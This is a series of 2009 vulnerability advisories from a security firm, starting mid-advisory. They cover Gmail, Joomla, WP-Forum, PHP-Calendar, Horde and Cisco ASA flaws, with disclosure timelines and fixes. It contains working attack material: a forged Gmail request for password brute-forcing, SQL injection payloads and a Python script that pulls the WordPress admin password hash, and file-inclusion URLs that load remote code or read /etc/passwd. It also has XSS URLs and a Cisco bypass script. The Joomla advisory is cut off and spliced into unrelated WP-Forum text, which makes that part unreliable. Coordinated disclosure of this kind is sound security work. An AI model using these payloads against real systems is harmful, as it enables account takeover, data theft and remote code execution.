-mapc: boolean value. Can be fixed to value "true" (default value) and is transmitted via POST.
-mapp: numeric value. Can be fixed to value "1" (default value) and is transmitted via POST.
-mabb: this parameter can be nul (default value) and is transmitted via POST.
-at: is the alphanumeric value associated to the user that must match with be value of the variable GMAIL_AT previously explained. This value is transmitted via POST.
-ma_user: email address of the account from which the new email address wanted be added. Is the attacker email address and is transmitted via POST.
-ma_pwd: password to be used for the victim account. Is transmitted via POST.
-ma_host: IP address of the POP3 server. Can be fixed to value "pop.gmail.com" and is transmitted via POST.
-ma_host_sel: IP address of the POP3 server. Can be fixed to value "pop.gmail.com" and is transmitted via POST.
-ma_port: is the value of the port of the POP3 server. Can be fixed to value "995" (defalt value) and is transmitted via POST.
-ma_ssl: can be fixed to string "on" (default value) and is transmitted via POST.
-ma_lbl: is the name of the label that will be used for labelling incoming emails. Can be fixed to the victim email address (default value) and is transmitted via POST.
Summarizing, the POST request for the authentication attack would be like this:
POST http://mail.google.com/mail/?ui=2&ik=<ik_value>&view=ma HTTP/1.1
Cookie: GX=<GX_value>; GMAIL_AT=<GMAIL_AT_value>
map=2&ma_email=<victim_email>&mapc=true&mapp=1&mabb=&at=<at_value>&ma_user=<attacker_email>&
ma_pwd=<victim_pwd>&ma_host=pop.gmail.com&ma_host_sel=pop.gmail.com&ma_port=995&ma_ssl=on&ma_lbl=<email_victim>
BUSINESS IMPACT
Capability of unlimited password cracking Gmail user accounts.
Selective DoS on users of the Gmail service (changing user password).
SYSTEMS AFFECTED
Gmail service.
SOLUTION
Correct the present flow of this capability.
REFERENCES
http://www.gmail.com
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered and reported Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
REVISION HISTORY
July 07, 2009: Initial release.
July 13, 2009: Minor revision.
July 17, 2009: Last update.
DISCLOSURE TIMELINE
July 05, 2009: Discovered by Internet Security Auditors.
July 13, 2009: Gmail security team contacted.
July 15, 2009: Request for confirmation of reception and analysis.
July 17, 2009: Answer from Google telling 100 attemp control limit is enough robust, although the advisory poc shows how to evade this weak security control. Publication of the advisory in the lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2009-009: Joomla! < 1.5.13 Multiple Full Path Disclosure vulnerabilities
Original release date: July 21st, 2009
Last revised: July 23rd, 2009
Discovered by: Juan Galiana Lara
Severity: 5/10 (CVSS Base Score)
BACKGROUND
The attacker can get the full path of the instalation of Joomla! browsing to any of this urls:
DESCRIPTION
This vulnerability could allow a malicious user to view the internal path information of the host due to some files were missing the check for JEXEC.
PROOF OF CONCEPT
The attacker can get the full path of the instalation of Joomla! browsing to any of this urls:
http://example.com/joomla-1.5.12/libraries/joomla/utilities/compat/php50...
http://example.com/joomla-1.5.12/libraries/joomla/client/ldap.php
http://example.com/joomla-1.5.12/libraries/joomla/html/html/content.php
In the case of the Blind SQL Injection, the vulnerable code is...
In wpf-post.php file:
57 $id = $_GET['id']; // <- $_GET['id'] is directly assigned
58 $thread = $this->check_parms($_GET['t']);
59
60 $out .= $this->header();
61
62 $post = $wpdb->get_row("SELECT * FROM $wpforum->t_posts WHERE id = $id"); // <- id is used without clean up
Other example:
1490 function remove_post(){
1491 global $user_level, $user_ID, $wpdb;
1492 $id = $_GET['id']; // <- $_GET['id'] is directly assigned
1493 $author = $wpdb->get_var("SELECT author_id from $this->t_posts where id = $id"); // id is used without clean up
...
1503 if($del == "ok"){
1504 $wpdb->query("DELETE FROM $this->t_posts WHERE id = $id"); <- // id is used without clean up
1505 $this->o .= "<div class='updated'>".__("Post deleted", "wpforum")."</div>";
1506 }
1507 else
1508 wp_die(__("Cheating, are we?", "wpforum"));
1509
1510 }
the "id" parameter is vulnerable in other parts of the source code...
Also, is possible to delete all records in table $this->t_posts and $this->t_threads because $_GET['topic'] is not properly sanitized, injecting something like 1 or 1=1
1479 function remove_topic(){
1480 global $user_level, $user_ID, $wpdb;
1481 $topic = $_GET['topic'];
1482 if($this->is_moderator($user_ID, $this->current_forum)){
1483 $wpdb->query("DELETE FROM $this->t_posts WHERE parent_id = $topic");
1484 $wpdb->query("DELETE FROM $this->t_threads WHERE id = $topic");
1485 }
1486 else
1487 wp_die(__("Cheating, are we?", "wpforum"));
1488
1489 }
PROOF OF CONCEPT
In the url: http://example.com/blog/?page_id=3&wpforumaction=search replacing 'page_id=3' parameter with the number of the WP-Forum page in each case.
Is possible to obtain any data of the database. Here is a proof of concept to obtain user_pass, user_login and user_email of the user with id=1 of wp_users table (normally admin).
We have to fill the search_max parameter with the value:
9999 DAY) union select 1,1,1,user_pass,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999
9999 DAY) union select 1,1,1,user_login,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999
9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999
I wrote a PoC, to get automatically the password hash of the WordPress admin account:
#!/usr/bin/python
# WP-Forum <= 2.3 SQL Injection PoC
# Juan Galiana Lara
# Internet Security Auditors
import urllib
import urllib2
import re
url = 'http://site//wordpress/?page_id=3&wpforumaction=search'
values = {'search_words' : 'any',
'search_submit' : 'Search',
'search_max' : '999 DAY) union select 1,1,1,user_pass,1,1,1
from wp_users where id=1 or SUBDATE(CURDATE(), INTERVAL 9999' }
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
output = response.read()
o = re.search('viewtopic.+>([$].+)<',output)
if o:
print o.group(1)
user@linuz:~$ python wpforum2.3-poc.py
$P$Bn8oMY.T3kHELf/lnn07L3HXgID4go/
user@linuz:~$
That's it!
For the blind sql injection, here are some examples:
http://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201...
http://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201...
http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_...
http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_...
http://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&...
http://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&...
Is possible to delete all topics, injecting sql code in "topic" parameter:
http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=1.0&delete_...
BUSINESS IMPACT
Unauthenticated users can obtain or delete any data of the database.
This flaw could result in get access to WordPress accounts including the administrator one.
SYSTEMS AFFECTED
JWP-Forum <= 2.3 are vulnerable.
SOLUTION
Update to version 2.4.
REFERENCES
http://www.fahlstad.se/wp-plugins/wp-forum/
http://www.wordpress.org/
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
September 28, 2009: Initial release.
October 13, 2009: Review.
October 19, 2009: Added CVE id.
December 15, 2009: Last revision.
DISCLOSURE TIMELINE
September 28, 2009: Vulnerability discovered by Internet Security Auditors.
October 13, 2009: Sent to developers. No response.
December 13, 2009: Contact again. Response about its correction.
December 14, 2009: New version published.
December 15, 2009: Advisory released to lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2009-011: PHP-Calendar v1.1 'configfile' Remote and Local File Inclusion vulnerability
Original release date: October 13th, 2009
Last revised: December 18th, 2009
Discovered by: Juan Galiana Lara
CVE ID: CVE-2009-3702
Severity: 8.5/10 (CVSS Base Score)
BACKGROUND
PHP-Calendar is a simple web calendar. It is targeted towards groups that need to collaboratively create and track events. In that same collaborative spirit, the source for PHP-Calendar is available under an open source license for anyone to use and modify.
DESCRIPTION
The 'configfile' variable is not properly filtered, and is possible to include arbitrary remote and local files. This attack may lead to the execution of arbitrary code.
The snippet of vulnerable code (part of update08.php and update10.php file):
36 } elseif(!empty($_GET['configfile'])) {
37 if(file_exists($_GET['configfile'])) {
38 require_once($_GET['configfile']);
In order to include remote files, the value 'On' in the allow_url_fopen directive is needed. There are two cases in which it is possible remote code execution due to bypass the file_exists function:
1) If the victim server is running Windows operating system and there is not a firewall filtering outgoing SMB requests, an attacker can use an URL like //servername/path/to/file.php
2) If server is running PHP version > 5.0.0 (the most common) an attacker can use FTP/FTPS protocol for inclusion. Like ftp://servername/path/to/file.php See references for more information.
PROOF OF CONCEPT
For including remote files:
http://site/php-calendar-1.1/update08.php?configfile=//servername/path/t...
http://site/php-calendar-1.1/update08.php?configfile=ftp://guest:pass@si...
http://site/php-calendar-1.1/update10.php?configfile=\\ip\path\to\file.php
http://site/php-calendar-1.1/update10.php?configfile=ftp://site/path/to/...
Local files, this PoC will show the /etc/passwd file:
http://site/php-calendar-1.1/update08.php?configfile=/etc/passwd
http://site/php-calendar-1.1/update10.php?configfile=/etc/passwd
BUSINESS IMPACT
Unauthenticated users can view any local file in the filesystem and could execute arbitrary code remotely.
SYSTEMS AFFECTED
PHP-Calendar version 1.1 is vulnerable, others may be affected.
SOLUTION
Change the code of update08.php (line 38) and update10.php (line 35) in order to filter $_GET['configfile'] variable.
if (ereg('^[a-zA-Z0-9_]+$', $_GET['configfile']))
require_once($_GET['configfile']);
REFERENCES
http://www.php-calendar.com/
http://www.php.net/manual/en/wrappers.ftp.php
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
October 13, 2009: Initial release.
October 19, 2009: Added CVE id.
December 18, 2009: Last revision.
DISCLOSURE TIMELINE
October 13, 2009: Vulnerability discovered by Internet Security Auditors (www.isecauditors.com)
October 13, 2009: Sent to developers. No response.
December 13, 2009: Contact again. No response.
December 18, 2009: Added mitigation solution and sent to lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2009-012: Horde 3.3.5 "PHP_SELF" Cross-Site Scripting vulnerability
Original release date: October 13th, 2009
Last revised: December 17th, 2009
Discovered by: Juan Galiana Lara
CVE ID: CVE-2009-3701
Severity: 6.3/10 (CVSS Base Score)
BACKGROUND
The Horde Application Framework is a modular, general-purpose web application framework written in PHP. It provides an extensive array of classes that are targeted at the common problems and tasks involved in developing modern web applications.
DESCRIPTION
Input passed to 'PHP_SELF' variable is not properly filtered before being returned to the user. This can be exploited to inject arbitrary HTML or to execute arbitrary script code in a user's browser session in context of an affected site. In order to successfully exploit this vulnerability the targeted user has to be logged as an administrator.
horde-3.3.5/admin/cmdshell.php:46:<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
horde-3.3.5/admin/sqlshell.php:29:<form name="sqlshell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
horde-3.3.5/admin/phpshell.php:42:<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
In order to filter the "PHP_SELF" variable, the htmlspecialchars function has to be used, like in 'horde-3.3.5/templates/shares/edit.inc' file:
horde-3.3.5/templates/shares/edit.inc:1:<form name="edit" method="post" action="<?php echo
htmlspecialchars ($_SERVER ['PHP_SELF']) ?>">
PROOF OF CONCEPT
This PoC will show an alert with the text "xss":
http://site/horde-3.3.5/admin/phpshell.php/%22%3E%3Cscript%3Ealert%288%2...
http://site/horde-3.3.5/admin/cmdshell.php/%22%3E%3Cscript%3Ealert%288%2...
http://site/horde-3.3.5/admin/sqlshell.php/%22%3E%3Cscript%3Ealert%288%2...
BUSINESS IMPACT
Is possible to execute arbitrary HTML or script code in a targeted user's browser. Only works with administration sessions.
SYSTEMS AFFECTED
Horde 3.3.5 is vulnerable, others may be affected.
SOLUTION
Upgrade to version 3.3.6
REFERENCES
http://www.horde.org/
http://lists.horde.org/archives/announce/2009/000529.html
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
October 13, 2009: Initial release.
October 19, 2009: Added CVE id.
December 13, 2009: Revision.
December 18, 2009: Last revision.
DISCLOSURE TIMELINE
October 13, 2009: Vulnerability discovered by Internet Security Auditors (www.isecauditors.com)
October 13, 2009: Sent to developers. The issue is considered hard to exploit and solution is delayed.
December 13, 2009: Second contact for correction plan.
December 15, 2009: New release published.
December 17, 2009: Sent to public lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Volver al inicio
2009-013: Cisco ASA <= 8.x VPN SSL module Clientless URL-list control bypass
Original release date: October 7th, 2009
Last revised: December 16th, 2009
Discovered by: David Eduardo Acosta Rodriguez
Severity: 4/10 (CVSS Base Score)
BACKGROUND
Cisco VPN SSL [1] is a module for Cisco ASA and Cisco Integrated Services Routers to extend network resources to virtually any remote user with access to the Internet and a web browser.
DESCRIPTION
Cisco VPN SSL Clientless lets administrators define rules to specific targets within the private network that WebVPN users will be able to access. This specific targets are published using links in VPN SSL home page. These links (url) are protected (obfuscated) using a ROT13 substitution[2] and converting ASCII characters to hexadecimal. An user with a valid account and without "URL entry" can access any internal/external resource simply taken an URL, encrypt with ROT 13, convert ASCII characters to hexadecimal and appending this string to Cisco VPN SSL URL.
PROOF OF CONCEPT
Using URL http://intranet published on internal server (not accessible from home page):
1. Convert string to ROT13: uggc://vagenarg
2. Change ASCII chars to HEX: 756767633a2f2f766167656e617267
3. Append string to Cisco VPN SSL: https://[CISCOVPNSSL]/+CSCO+00756767633a2f2f766167656e617267++
This is a simple PoC for easy demostration:
#!/bin/bash
echo -n "write URL:"
read a b=`echo -n $a | tr '[a-m][n-z][A-M][N-Z]' '[n-z][a-m][N-Z][A-M]' | od -tx1 | cut -c8- | sed 's/ //g'` | paste -s -d ''; echo -n "URL "
echo -n "https://[CISCOVPNSSL]/+CSCO+00"; echo -n $b; echo -n "++";
echo "";
BUSINESS IMPACT
Users with valid account can surf to internal/external resources, bypassing controls in home page.
SYSTEMS AFFECTED
Cisco ASA <= 8.x are vulnerable.
SOLUTION
Always set "webtype" ACL and "filter" to block access in Web VPN SSL (not activated by default). Included in Cisco site now. Follow recommendations from "Cisco Understanding Features Not Supported in Clientless SSL VPN" [3].
REFERENCES
[1] www.cisco.com/web/go/sslvpn
[2] http://en.wikipedia.org/wiki/ROT13
[3] http://www.cisco.com/en/US/docs/security/asa/asa82/configuration/guide/webvpn.html#wp999589
http://tools.cisco.com/security/center/viewAlert.x?alertId=19609
http://www.isecauditors.com
CREDITS
This vulnerability has been discovered by
David Eduardo Acosta Rodríguez (deacosta (at) isecauditors (dot) com, dacosta (at) computer (dot) org).
Thanks to Juan Galiana Lara (jgaliana (at) isecauditors (dot) com)) for additional research.
REVISION HISTORY
December 7, 2009: Initial release.
December 16, 2009: Last revision.
DISCLOSURE TIMELINE
December 9, 2009: Vendor contacted
December 9, 2009: Vendor response, they include our mitigation proposal in their website and start the analysis of correction required.
December 16, 2009: Vendor confirms remediation and public statement.
December 17, 2009: Sent to lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.